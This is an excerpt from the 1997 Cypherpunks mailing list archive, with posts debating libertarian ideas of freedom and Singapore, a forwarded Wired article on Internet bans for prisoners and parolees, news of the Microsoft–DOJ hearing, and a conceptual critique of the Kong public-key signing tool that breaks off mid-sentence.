> > > capitalist, but it's more capitalist than this country and certainly
> > > less free, too.
> > > 
> > 
> > hmmm..  no one says that singapore doesn't work anyomore than
> > that they say that a team of horses under a whip doesn't work.
> > the difference is that in singapore the policeman is inside.
> 
> Nope.  I have several friends who are from Singapore, and that is 
> simply not the way they see it.  They like their country, and they 
> are proud of it.  They know it isn't perfect, but they think it is 
> pretty damn good.  From their perspective your statement simply 
> reflects the narrowness of your point of view.
> 

Nice try, Kent.  This is to be expected by people who have the
internal policeman.  This is like a kitchen slave that says
they like their kitchen.  From a kitchen slave's point of view
a wandering minstrel that doesn't eat as often or as well may
not be as well off.  That just means the kitchen slave is fatter
not more free.  Just wait until they try and leave the plantation.

Indeed this is pretty much the viewpoint of every person in
every country unless the authoritarians have really clamped
down.  My country good or bad with exceptions.

> [...]
> 
> > there is a fundamental flaw your case.  economic freedom is really the
> > same as social freedom.
> 
> This also represents a terribly narrow view of the world.  Freedom is 
> psychological state as much as it is a social or an economic one.
> 

Only from someone who doesn't understand the basics of economics.  I
am differentiating between freedom and hapiness.  I start from the
premise, "as it harms no one, do as you please".  How many nation
states allow this?  Freedom is the opposite of slavery.  I don't
want happiness.  I don't want the nanny state.  I want freedom.
It is a real state, Kent.  I want to do everything I'm personally
capable of short of harming others...and that better be real and
tangible harm.

Lets think about this, Kent.  I am showing you that it has real,
tangible properties -- not some myth or religious belief.  Take
an example citizen unit "Sally".  

Sally want's to contract with a company to provide programming
services.  She doesn't want social security.  She justs wants all
the money she contracted for.  Nothing more, nothing less.  The
amount she contracted for has real tangible benefits.  Food she
can buy, free time, better clothes, better education for her
kids etc....

Mr Big Brother steps in and takes a big chunk of it without her
permission.  This decreases the net number of hours left in
Sallys life.  She must work longer hours now.  If Sally is not
the person who decides how the hours in her life should be spent
she doesn't even own her own life.  Who owns it?  I'll give
you one guess.

I'll give you the fact that Sally is permitted (at least in most
Nation States) to become a hermit and own herself again.   But remember
we're talking about the freedom of a society.

I'll also give you the fact that she is limited by other things
like environmental factors, acts of god, her own emotional decisions
to support her parents or something.  These are all voluntary
decisions.

> > In either case, the act of buying and selling things is the ultimate
> > expression of free association/assembly.
> 
> Nonsense.  The ultimate expression of freedom is skinny dipping in a 
> mountain lake.

I'm sorry Kent, but that is a NOP.  Go back to the hermit argument.
Besides, who now is talking about feelings.

> 
> > I might mention, since this is the cypherpunk list, that crypto
> > is *exactly* what big brother is afraid of because we might realize
> > what *kind* of slaves we are and what kind of masters they are.
> > Incidentally it might actually free us from this prison some
> > day.  The first step to escaping from your jail cell is understanding
> > that you live in a jail cell and what kind of cell that is.  Most
> > new citizens units have a room reserved from birth.
> > (slave: birth to grave)
> > 
> > Freedom to make purchasing decisions is *the* major component of freedom
> > in any advanced society.   It is the medium by which we interact
> > with society at large.  Red Hat software doesn't know who the hell
> > I am and they probably can't afford to care that much.  What they
> > do know is that if they configure a really decent version of Linux
> > that I will give them $50.  It allows me to do my thing and it puts
> > food on their table.
> > 
> > Economic freedom is what makes it possible for society to evolve into
> > to something better.  Lack of it eventually dooms the inhabitants
> > to decide whether to become a hammer or an anvil -- a host or
> > a parasite.
> > 
> > If you don't think that the population is prevented from making
> > purchasing decisions then you better get the sleep out of your
> > eyes and take a good, hard look. 
> > 
> > </pedagogy>
> 
> Actually, it's dogma, not pedagogy.  The notion of "freedom" to a
> libertarian is like the notion of "faith" to a Christian -- a
> self-reinforcing mental trap, a span of circular thinking that is just
> a little too large for them to notice and say "Haven't I been here
> before?"

Allright, Kent.  Lets play a little thought experiment.  Sometimes
its helpful to remove extraneous bullshit from an argument.  Lets
start with the most obvious cases of non-freedom and work outwards.

(1) You are dead
(2) You have been kidnapped, bound by duct tape into a chair - hand,
    foot and mouth.
(3) You are a physical slave.  Being unlucky enough to be born into a
    slave society or captured during warfare you grow up a slave.  Your
    life is at the disposal of your owner.  You are probably well aware
    of your condition, but have not the resources do alleviate it.

..tell me when to stop, Kent....

(4) You are a psychological slave.  Having let someone else make your
    decisions for you, your mental and physical faculties are at the
    the disposal of the meme controllers.
(5) You are an economic slave.  Having the misfortune of your wealth
    being tied to the fiat of a nation-state, the value of your time
    and the stability of your day-to-day world are at the disposal of
    those who worship power.
  
Each of these forms of servitude requires more and more information
to detect.  Many citizen units, like fish in a fishbowl, endlessly
swim in circles, happy and content -- never seeing the fishbowl
until they bump straight into it.  The usual reaction is to say,
"hmmm...thats strange" and then they go on swimming in circles
again.  Eventually the housecat comes by and eats the fish next
to them.  This is scary for the fish, but bound by the limitations
of the fishbowl will simply assimilate it and chalk it up to
an act of god.

> Like moths they flit around the bright emotional icons that
> blind them, define their world, and trap their thoughts in endless
> repetition. 

Very pretty, Kent.  You get an 'A' for prose, but an 'D' for
reasoning.

OK...I'm flitting about those bright emotional icons.  Feeling pretty
good.  I don't like slavery, Kent.  Why?  I don't know.  I'll admit it. 
Is it rational?  I don't know.  I am a human being with my own will.  I
don't like slavery and submission any more than I like a hot poker in the
eye. If I am bothered by it and continue returning to contemplate it,
please forgive me. Maybe that makes me human. I prefer to voluntarily
serve my fellow citizens.  If you prefer to serve in the kitchen, no
matter how well stocked or lavish, then I pity you.

Did this stuff bother me before I saw it? No.  Did it affect me?
Most definitely.  But I've always had an extreme dislike for
bullys.  Maybe thats another emotional icon, Kent.

> 
> For all the brave words about reason and logic, and all the endless
> discussion about it, libertarians don't ever actually sit down and
> think "what does the word 'freedom' mean, anyway?".

OK.  I think we took care of that.  Freedom doesn't mean external
factors.  Freedom means living in an environment and having the
ability to alter or manipulate that enviornment and expand beyond
the environment.  Obviously the jail cell is only free until you
get to the bars or wish to be free from them.  Maybe were getting
somewhere here....

Freedom is relative to your desires much as wealth is.

(desired actions - external-human-imposed-limitations) = slavery
(desired wealth - actual wealth) = poverty

If you are a totally integrated Zen monks who has achieved
enlightenment maybe you could be very happy in a jail cell.

If you play video games all day and eat pizza all night
you are free.

If you discover the limitation that have been imposed on you
and think they are nonsensical, artificial and human imposed
then you are a slave...unless you don't care to explore beyond
those limitations.

What kind of human do I want to be?  I don't want to escape into the
internal.  I don't want to permanantly bury myself in hedonistic pleasure
(but the thought has occurred to me) I don't wan't to immerse myself in
9-5 wage slavery. I wan't to explore the internal and the external.  I
wan't to become more than I am.  I realize these things are available in
this world.  Its just that I don't want to subject myself to the
psychological subjugation that it takes.  Read that "kissing up".  I've
almost reached the point where individual effort can max out without
massive kissing up.  Perhaps that's my own self-imposed prison, but I'd
prefer to advance by serving others in the free market.

But don't worry, I'm still trying.

>  Instead, their thinking goes down to a point where they can repeat some mantra like
> "Freedom to make purchasing decisions is *the* major component of
> freedom in any advanced society", and they never realize the exact
> circularity involved.

Maybe you could explain it.  I base my beliefs on the fact that
any civilization beyond a few thousand people must interact via
some type of money, or stagnate.  If you don't understand mutual
coincidence of wants, I could explain it to you.  The society
is then defined by the dynamics of that currency because it
defines the nature of free association beyond the boundaries of
the merely personal (ie: families, friends, jumping in mountain
lakes).

Who or what guarantees the integrity of that money(s) defines
the nature of the civilization.  Whether it grows or contracts,
whether the people save their hard-earned cash or spend it, the
nature of level of debt, waste, etc.

Notice I'm not suggesting we all return to gold.  But the above
observations still hold.  Who or what guarantees the moeny?  Does the
president guarantee it, the banks individually, the banks severally, the
central bank, the head of the central bank, or emergent market forces?

And people who believe that money is root of all evil are
simply falling prey to psychological slavery.  That meme must
have been invented by people threatened by freedom.  Money
simply allows you the freedom to interact with the society
at large.  It allows you to do anything you would normally
do - good or evil.

  It might as well be "Freedom to worship the
> Lord is *the* major component of freedom in any advanced society." Or
> "Being a slave to purchasing decisions is *the* major component of
> slavery in any advanced society."
> Thinking in platitudes is not thinking.
> 

Well I suppose you could argue this, but its provably wrong.

Proof by counterexample:

There are places where you are free to worship the lord, the devil,
the trees or the cracks in the sidewalk if you like.  Without
economic freedom, the freedom to sell or not to sell, to purchase
or not to purchase we'd be living in little mud shacks without
many of the modern advances of civilization.  Money enables
large sectors of the populace to interact without barter.  These
large sectors then specialize and the results of this specialization
and advancement are the history of science.

Personally I like those advances.  

Other than that I will agree to disagree with you, Kent.

Have a better one,

jim






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 6 Dec 1997 03:26:04 +0800
To: Hallam-Baker <hallam@ai.mit.edu>
Subject: Re: Singapore
In-Reply-To: <199712051846.NAA02874@muesli.ai.mit.edu>
Message-ID: <348852B0.1742@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Hallam-Baker wrote:
  <nothing>

  Hallam-Baker obviously thinks that he can thwart my insightful,
barbed diatribes against him by posting empty messages to the
CypherPunks list, thereby giving me no grounds for my [last month's
CypherPunk phrase of the month here] attacks on him.
  While this clever ruse may have worked if I was in my usual under-
medicated psychotic state, it just so happens that I am currently in
an over-medicated psychotic state, and able to leap tall logic with a 
single bound.

  Halam-Bakker is obviously following the orders of his Puppet Masters
to take advantage of the old adage, "I don't care what they say about
me, as long as they spell my name right." He thinks that he can raise
his reputation capital by spelling his name right in empty messages
which give no one an opportunity to point out the evil intentions which
are subliminally lurking in his posts to the list.

  Well, I'm wise to your little game, H-B.
  I dare to 'say something' in your _next_ post.
  I double-dare you...

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sat, 6 Dec 1997 03:05:16 +0800
To: jay holovacs <holovacs@idt.net>
Subject: Singapore
In-Reply-To: <199712051359.IAA10734@u1.farm.idt.net>
Message-ID: <3.0.2.32.19971205134306.007187b0@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 06:44 AM 12/5/97 -0500, jay holovacs wrote:
>This post has a strange deja vu to it. I can remember back in the '60s when 
revolutionary wannabes would talk of the glorious peoples paradise while 
living in their comfortable suburban homes. How the workers' education system 
was open to all, no one was unemployed...

I don't think that Singapore is a fabulous place to live but its total 
freedom is probably greater than Germany or France.  Our total freedom in the 
US is greater than Singapore's.

It has just been getting attacked by those who accept the greater freedom 
violations of many other countries including many of those in the EU.

Germans lack many speech and association rights.  Germany has asked the US to 
arrest and extradite Americans for speech crimes.  They have mandatory 
address registration with the government (as does Singapore).  On the other 
hand, Germans have very restrictive labor and commerce laws, high taxes, and 
other laws that Singapore doesn't have.  Germany has mandatory 
"certification" (licensing) for almost every job in the country.  Singapore 
has some of these sorts of restrictions too but because of its other economic 
freedoms, it is freer than Germany.

Germany steals 50% of GDP and blows it on cigareets and whiskey and wild, 
wild, women.  Singapore steals only 20% of GDP (and requires an additional 
20% mandatory personally-owned retirement savings from salaries).  
Singaporeans are thus freer to use their own money than Germans.  

Singapore is unfree in many ways but freer than many other countries not 
usually attacked as tyrranies.

DCF 
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

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pT0RtwulpiY=
=0j+/
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Sat, 6 Dec 1997 02:59:58 +0800
To: frissell@panix.com (Duncan Frissell)
Subject: Re: Singapore
In-Reply-To: <3.0.2.32.19971205134306.007187b0@panix.com>
Message-ID: <199712051846.NAA02874@muesli.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 6 Dec 1997 04:05:47 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Locked Up and Barred From Net
In-Reply-To: <666kg6$h6l$1@news.stealth.net>
Message-ID: <34885CAB.519B@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



It has long been known that the artists, the lunatics and the criminal
element in society are a harbinger of the future.
 What is less known is that the way society deals with them is also
a harbinger of the future.

  Supporting Nazi Fascist Oppressors who campaign under slogans that
share the underlying theme "Tough On the 'Other Guy'" can be a very
tempting prospect.
  Waking up to find that *you* have been officially declared "The 
'Other Guy'" is not uncommon, however.

NEWS FLASH!!!
 When John Law enforces that "Tough on Crime" law that you supported,
he is not going to risk his butt by going after armed felons such as
Tim May, as you had intended. He is going to go after unarmed felons
who supported the new laws, little realizing that they, themselves,
were "Felons under an increasing number of laws."
(Don't bother to check the archives. I said that first. Trust me.)

TruthMonger

Tim May wrote:
> 
> This article touches on several Cypherpunks themes and technologies,
> including: use of anonymous remailers, mandatory Web content filters, bans
> on encryption, and bomb-making instructions.
> 
> True, the persons being affected here are prisoners and parolees, and
> prisoners obviously are lacking certain civil liberties. Parollees, too.
> (Whether those convicted of felonies or even lesser crimes should be
> denied civil liberties after their sentence has been completed is a
> troubling issue I won't get into right now.)
> 
> But as more and more things are declared criminal, and as selective
> prosecution is becoming the norm, these increasing restrictions may affect
> a larger fraction of the population.
> 
> And, I think, the attitude here toward paroled convicts gives us some
> hints about the application of the Four Horsemen arguments in general.
> 
> --Tim May
> 
> > From http://www.wired.com/news/news/culture/story/8854.html
> >
> > Twice Removed: Locked Up and Barred from Net
> > by Steve Silberman
> > 4:57am  3.Dec.97.PST
> >
> > When US District Court Judge Sam Sparks sent Chris Lamprecht to the
> > Federal Correctional Institution in Bastrop, Texas, in 1995, the
> > 24-year-old hacker sobbed before the bench. A stint in the federal pen
> > was terrifying enough, but the judge had tacked an unusual condition onto
> > his 70-month sentence. Though Lamprecht was being sent to Bastrop for
> > money laundering - not the hacking that earned him the handle "Minor
> > Threat" - Judge Sparks stipulated that Lamprecht was forbidden to access
> > the Internet until 2003.
> >
> > "I told the judge computers were my life," Lamprecht recalled.
> >
> > Any case that involves computers and a boyish, fair-skinned defendant is
> > bound to get press, but things have changed since Swing magazine
> > (http://www.paranoia.com/~mthreat/swing.html) billed Lamprecht as "the
> > first person to be officially exiled from cyberspace."  If the young
> > hacker was the first to be exiled from the online world by law, he now has
> > plenty of company, following the circulation of an internal memo at the
> > Federal Bureau of Prisons last year, which set in stone a federal policy
> > of keeping prisoners - and even many parolees - offline.
> >
> > According to the federal view, logging on is simply incompatible with
> > incarceration. As chief bureau spokesman Todd Craig states, in
> > bureaucratese, "Access to the Internet is not a necessary tool for the
> > correctional process" - which means that with more than 1.6 million
> > people locked up in the United States alone, and thousands of parolees
> > subject to similar restrictions even as they attempt to rejoin modern
> > life, a significant population is being left behind by the network
> > revolution.
> >
> > What's at stake? As more and more jobs are wired into the Net and the
> > Web, the possibility that former offenders will be able to find
> > employment after incarceration becomes more and more remote - which
> > undermines the very bedrock of the correctional process, asserts Jenni
> > Gainsborough, spokeswoman for the American Civil Liberties Union's
> > National Prison Project (http://www.npp.org).
> >
> > "The aim of our prisons should be to release people who are able to
> > reintegrate themselves into society," she explains. "But no politician
> > wants to appear soft on crime. Nobody thinks about what's actually useful
> > to reduce the recidivism rate."
> >
> > A poster boy for keeping prisons unwired
> >
> > Mention the words prisoner and Internet in a sentence, and the same
> > object-lesson will come up over and over again: the case of George
> > Chamberlain, a sex offender incarcerated at Lino Lakes state prison in
> > Minnesota, who used his position as manager of computer services for a
> > venture called Insight Inc. to download child pornography from the Net
> > while sitting in jail.
> >
> > Chamberlain was a poster boy for keeping prisoners as far away from a
> > modem as possible. He not only siphoned 287 erotic images off the Net and
> > encrypted them on an optical drive behind the pass phrase "They cannot
> > commit me," he also compiled lists of thousands of children's' names, and
> > chitchatted with other pornographers through an anonymous remailer.
> >
> > "The idea that a prisoner had this kind of access to the Internet and was
> > able to collect explicit child pornography and communicate with others on
> > how to hide it," US Attorney David Lillehaug declared last March, "is
> > almost unbelievable."
> >
> > The Chamberlain case seemed all too believable, however, given a
> > statement issued by the US Parole Commission just three months earlier.
> > The commission, "responding to increased criminal use of the Internet,"
> > approved "discretionary use of special conditions of parole that would
> > impose tight restrictions on the use of computers by certain high-risk
> > parolees."
> >
> > A spokesperson for the Parole Commission declined to answer questions
> > about the number of parolees currently subject to restrictions on
> > computer use, which include a ban on encryption, screening of online
> > activity by monitoring or blocking software, compulsory daily logging of
> > all Web sites visited, and unannounced searches of drives and disks by
> > parole officers.
> >
> > Federal Bureau of Prisons spokesman Craig equates the ban on computer use
> > by inmates to restrictions on use of the telephone. "They can make
> > 15-minute calls to pre-approved numbers, like family and clergy," Craig
> > says. It would be impossible, he says, to pre-approve forays into the
> > online world in the same way.
> >
> > In its press release, the commission said it acted "after noting the
> > surge of 'how-to' information available on the Internet and other
> > computer online services relating to such offenses as child molestation,
> > hate crimes, and the illegal use of explosives."
> >
> > "That's complete BS," charges Stanton McCandlish, program director for the
> > Electronic Frontier Foundation. "There was no alarming increase in that
> > kind of 'how-to' information on the Net. There was an increase in
> > publicity about politicians like Dianne Feinstein
> > (http://www.senate.gov/~feinstein/bombstmt.html), who used those fears as
> > justification to limit use of the Internet."
> >
> > McCandlish points out that last June's Reno v. ACLU decision
> > (http://www.aclu.org/court/renovacludec.html) by the Supreme Court sent a
> > message that the court considers the Net as much subject to First
> > Amendment speech protections as the printed word.  Comparing broad
> > prohibitions on the use of computers by prisoners and parolees to banning
> > the act of writing by those in prison, McCandlish predicts that "the issue
> > is going to heat up" in the coming year. The EFF is "waiting for a good,
> > solid legal challenge" to arise before getting involved in a case,
> > McCandlish says.
> >
> > The world's best-kept secrets
> >
> > A small California businessman named John Danes runs an outfit called
> > Inmate.com, charging prisoners US$70 to design and maintain a personal
> > homepage (http://inmate.com/inmates.htm) and an email address for three
> > months. Each week, Danes prints out the incoming mail, peruses it for
> > forbidden content like pornography or communication from minors, and
> > forwards it to the inmates via snail mail. At present, nearly 70 male
> > prisoners and three women have homepages at Inmate.com. The majority of
> > the inmates are black or Hispanic; several of the pages maintain the
> > author's innocence; many are an invitation to romance.
> >
> > Ironically, the ACLU's Gainsborough attributes some of the public's fear
> > about convicted criminals having a gateway to the Net to the publicity
> > given to Web sites like Inmate.com and Dead Man Talkin'
> > (http://monkey.hooked.net/moneky/m/hut/deadman/deadman.html) - sites that
> > are put up by friends of prisoners who do not themselves have access.
> >
> > "Serial-killer homepages and prisoner sites contribute to the public
> > perception that there's a huge use of the Net by these people to
> > advertise their evil ideas," Gainsborough says, while affirming her
> > support for the right of prisoners to express themselves.
> >
> > One page on the Inmate.com site asks, "Have you ever wondered what it's
> > like to live in another world right here on Earth? What would you do if
> > you suddenly fell from grace? Prisons hold some of the world's best-kept
> > secrets." Secrets are one thing, Gainsborough observes, that prisoners
> > are not allowed to keep.
> >
> > "In many prisons, even [typewriters with built-in memory] are forbidden,"
> > she says. "There's always this fear of prisoners hiding this stuff away -
> > so the idea of computers where people could really keep stuff hidden is
> > very frightening."
> >
> > In July 1996, a promising computer-training program at the Washington
> > State Reformatory was terminated when it appeared that the prisoners were
> > learning too much about computers - that is, more than prison officials
> > knew.
> >
> > Mike Williams, associate superintendent at the reformatory, was head of
> > security for the program, which was a pilot for a statewide effort that
> > would have allowed prisoners to learn how to use business software like
> > Microsoft Excel, PowerPoint, and Word.
> >
> > "The inmates learned a lot of good stuff," Williams acknowledges. "They
> > were able to learn a trade while in prison, so that they might have been
> > actually able to get a job in that area when they got out. This was like
> > real-world vocational training."
> >
> > So why was the innovative program scrapped, rather than ported to every
> > jailhouse in the state?
> >
> > "Our superintendent thought it was a manageable pilot program," Williams
> > recalls, "but the key figures who needed to approve it up in Olympia
> > decided to put an end to it. We had inmates learning more about computers
> > than we had staff time to keep an eye on them. We couldn't keep up with
> > them."
> >
> > The fear that prisoners would use encryption or other electronic means to
> > cloak escape plans was a chief concern. "It was a cat-and-mouse game. We
> > had to load the software for them, and there was no money allocated to
> > hire more officers to do that kind of thing," Williams says. Though at
> > least one inmate claims that graduates of the program had landed good
> > jobs upon release, state deputy director of prisons Jim Blodgett - one of
> > the "key figures" in the state capital who decided to shut the gate on
> > the pilot effort - told a reporter, "We couldn't see the value in keeping
> > it. We had staff not knowing what was going on."
> >
> > If the object of incarceration is to ensure that prisoners remain at
> > least as ignorant of current technologies as untrained prison staff, the
> > federal policy will be deemed a success. But as the Net touches every
> > area of our experience - from our most intimate relationships to our
> > responsibilities as participants in a democratic society - more and more
> > of those on the outside of the bars are coming to feel, with Lamprecht,
> > that "computers are our lives," or are inextricably linked with our
> > lives.
> >
> > And those on the inside are destined to be released into a life for which
> > they are even more unprepared than former offenders were in the past.
> >
> > -------------------------------------------------------------------------
> > Minor Threat's Web Site                 http://www.paranoia.com/~mthreat/
> > Official Kevin Mitnick Web Site         http://www.kevinmitnick.com
> 
> --
> The Feds have shown their hand: they want a ban on domestic cryptography
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eureka! <robin@abc-web.com>
Date: Fri, 5 Dec 1997 22:34:20 +0800
To: cypherpunks@toad.com
Subject: FREE HITS+FREE FEEDS!
Message-ID: <199712051417.OAA06560@links.hitbank.com>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: berezina@qed.net (Paul Spirito)
Date: Fri, 5 Dec 1997 22:51:18 +0800
To: Jim Burnes <jim.burnes@ssds.com>
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <Pine.LNX.3.95.971204135130.369D-100000@is-chief>
Message-ID: <348c05e2.11794993@mail.qed.net>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 4 Dec 1997 17:22:23 -0700 (MST), Jim Burnes wrote:

>In either case, the act of buying and selling things is the ultimate
>expression of free association/assembly.  I voluntarily associate
>with the guy who makes my pizza, builds my car, mows my law etc.

Really? I avoid associating with those who mow my laws. Ha ha.

Seriously, I've never lived in Sweden or Singapore -- if I do, I'll get back
to the list on which I prefer -- but I'm troubled by the tendency of
Libertarians to err on the side of big business fetishism rather than civil
liberties. Both are part of the Doctrine, of course*, but I often hear them
argue that wild-west capitalism inevitably leads to political freedom -- so,
not to worry -- but rarely that political freedom invariably leads to
laissez-faire capitalism (so, not to worry). 

You might say that the latter is NOT TRUE. Well, right-o, but neither is the
former. Economic progress under a fascist regime leads inevitably to
political freedom? You guys actually make this argument. 

Paul

*Yes, Libertarians criticize corporate welfare, but just because it corrupts
the notion that a person's entire worth can be summarized in a stock
portfolio.

http://www.nihidyll.com/gallery/Tornado.jpg





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sat, 6 Dec 1997 04:40:51 +0800
To: jim.burnes@ssds.com>
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <Pine.LNX.3.95.971204135130.369D-100000@is-chief>
Message-ID: <3.0.2.32.19971205152745.036de494@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 02:42 PM 12/5/97 GMT, Paul Spirito wrote:

>Seriously, I've never lived in Sweden or Singapore -- if I do, I'll get back
>to the list on which I prefer -- but I'm troubled by the tendency of
>Libertarians to err on the side of big business fetishism rather than civil
>liberties. Both are part of the Doctrine, of course*, but I often hear them
>argue that wild-west capitalism inevitably leads to political freedom -- so,
>not to worry -- but rarely that political freedom invariably leads to
>laissez-faire capitalism (so, not to worry). 

That's because it doesn't.  And there is a difference between "political 
rights" and liberty.  I care about the latter and not the former.  Plenty of 
tyrannical democracies.  I judge governments by how much they leave me alone 
not by their form.

>You might say that the latter is NOT TRUE. Well, right-o, but neither is the
>former. Economic progress under a fascist regime leads inevitably to
>political freedom? You guys actually make this argument. 

Certainly today's economic and technological freedom gives individuals vast 
money and vast power.  This increases their ability to tell their governments 
to go fuck themselves.  Whether they will choose to exercise this power, they 
certainly have it.

>*Yes, Libertarians criticize corporate welfare, but just because it corrupts
>the notion that a person's entire worth can be summarized in a stock
>portfolio.

No they criticize it because they don't like to *pay* for it.  They believe 
in lower taxes and smaller governments.

DCF
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBNIhjvIVO4r4sgSPhAQHEbQP+IlPZPSHqvPyEs4V4pETd4x3OnDjlH1bG
WTI2hpmQYaQizMKgHIqjSkyEwB02uGouMeBmW6wxu+upVvwCVBLxY43h5UjkDKQa
IqUFdYJt84kxGQzEDYX5KRSjN09fwUAxT4iG7rBxXwIzxPwdeVC0k3sdRnT7PE5X
mQJ+M3h9iLM=
=cdbj
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 6 Dec 1997 07:50:50 +0800
To: cypherpunks@toad.com
Subject: Microsoft and DoJ attorneys battle in Federal court today
Message-ID: <Pine.GSO.3.95.971205153733.23875G-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




************

http://cgi.pathfinder.com/netly/afternoon/0,1012,1616,00.html

Microsoft vs. DOJ Update

   Microsoft finally had its day (or at least two hours) in court this
   afternoon. Its team of lawyers tried to fend off accusations that
   Microsoft unfairly used its operating system's popularity to
   force-feed Internet Explorer to computer makers. Federal judge Thomas
   Penfield Jackson zeroed in on whether or not the browser is, in fact,
   part of Windows 95. "Are you not selling Windows 95 and Internet
   Explorer separately?" he asked. Not to computer manufacturers,
   carefully replied Microsoft's attorney, who said that the evidence
   proves the two products "obviously are" integrated. (For the judge to
   rule that Microsoft is violating a 1995 agreement, Justice Department
   lawyers first have to convince him that Internet Explorer and Windows
   95 are two seperate products, which they tried to do today by waving
   around a shrinkwrapped copy of Internet Explorer 4.0.) The hearing in
   Washington, D.C., federal district court highlighted two wildly
   different views: Microsoft claims the Justice Department is picking a
   fight where none really should exist. But the government's antitrust
   lawyers said today they're fighting to stop the world's largest
   software company from "misusing its Windows power" to squash its
   competitors. Both sides are going to have to wait a while: Judge
   Jackson left the courtroom today without ruling on the case. --By
   Declan McCullagh/Washington







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wesley Griffin <wgriffin@enslaved.student.umd.edu>
Date: Sat, 6 Dec 1997 05:11:03 +0800
To: cypherpunks@toad.com
Subject: Re: SynData/Schneier Attack Network Associates
In-Reply-To: <3.0.2.32.19971205122651.007cae60@fast.synernet.com>
Message-ID: <199712052053.PAA14508@enslaved.student.umd.edu>
MIME-Version: 1.0
Content-Type: text/plain



> At 11:42 AM 12/5/97 -0500, you wrote:
> > "The government's key recovery program is a complete violation of the
> > individual's right to privacy and, in fact, compromises of the system are 
> > already taking place. This shows that key escrow is an untenable policy," 
> > said Bruce Schneier, one of the world's leading authorities on encryption 
> > and author of the book "Applied Cryptography". "SynData is paving the
> > way for other software developers by taking a stand in opposition to the 
> > government and companies like Network Associates." 
> 
> 
> By "companies like Network Associates", do you mean "companies who are
> members of the Key Recovery Alliance" (http://www.kra.org)? If so, here are
> the "companies like Network Associates", in that regard:  [Note RSA is a
> Charter Member]

This statement is seriously confusing Key Recovery and Key Escrow.  They are 
NOT the same thing.  Everybody knows what Key *Escrow* is and that it sucks.  
Key Recovery is *very* different in that are no databases kept of private keys.
The website you mentioned (http://www.kra.org) contains some very good info on 
how Key Recovery works.  I would like to see the source of Schneier's quote 
also, because I can't believe he could get the two confused.

Wes Griffin
wgriffin@glue.umd.edu






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 6 Dec 1997 08:29:01 +0800
To: cypherpunks@toad.com
Subject: Get out of town Freeh!
Message-ID: <Pine.GSO.3.95.971205161259.23875J-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




A cute cartoon from my friends down the hall:

  http://www.allpolitics.com/1997/12/05/mitchell/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Smith <smith@securecomputing.com>
Date: Sat, 6 Dec 1997 06:28:09 +0800
To: "James A. Donald" <cryptography@c2.net
Subject: Re: Please Beta test my communications cryptography product.
In-Reply-To: <199712050100.RAA04735@proxy4.ba.best.com>
Message-ID: <v03007800b0ae121c8f4c@[172.17.1.150]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:00 PM -0800 12/4/97, James A. Donald wrote:
>    --
>I have produced a program that, like PGP, provides digital
>signatures and communications encryption.
> http://www.jim.com/jamesd/Kong/Kong.htm
>This is the first beta.  Please beta test this product.

Actually, it's more fun to beta test the product concept than it is the
product itself, especially since I don't use Windoze these days.

First of all, the product Kong is not solving the same problem PGP was
designed to solve: PGP follows the classic approach to e-mail encryption,
with certificates to address MIM and personal authentication issues. Kong
only concerns itself with individuals' cyberspace identity. But there's
something appealing to this simplifying notion, and I'm interested in
anything that makes crypto easier for people to understand and use.

I admit I can't figure out what crypto mechanism Kong is really using since
there's obfuscating talk of passphrases and secrets. But I can see how I'd
do it with conventional public key mechanisms. The 123 byte (or whatever)
string included in the message would incorporate a digital signature over
the message plus the public key used to produce the signature. Thus, each
message contains an internal integrity check. Recipients also would be able
to compare the public keys used to sign two or more messages allegedly from
the same recipient and verify that they were signed by the same entity.
(technical nit: I'd prefer to put the PK in a special message header field
and only stick the digital signature data in the message body, like PGP).

Since Kong does not use certificates, it is vulnerable to the Man in the
Middle (MIM) attack and indeed to forgery. However, I also suspect that the
behavior of a long lived cyberspace identity would make a MIM attack
detectable and/or impractical in the long run. If John Doe consistently
includes a public key in his web site, messages, and postings, then
recipients have a relatively independent way to validate the key being used
in a message allegedly from him. The public key is literally associated
with the cyberspace identity and its "reputation capital." Since no third
party is attesting to the identity, you could argue that it's exclusively
established by the holder's cyberspace reputation. This is an interesting
property.

Key revocation remains a problem, as with any PK system. The key holder
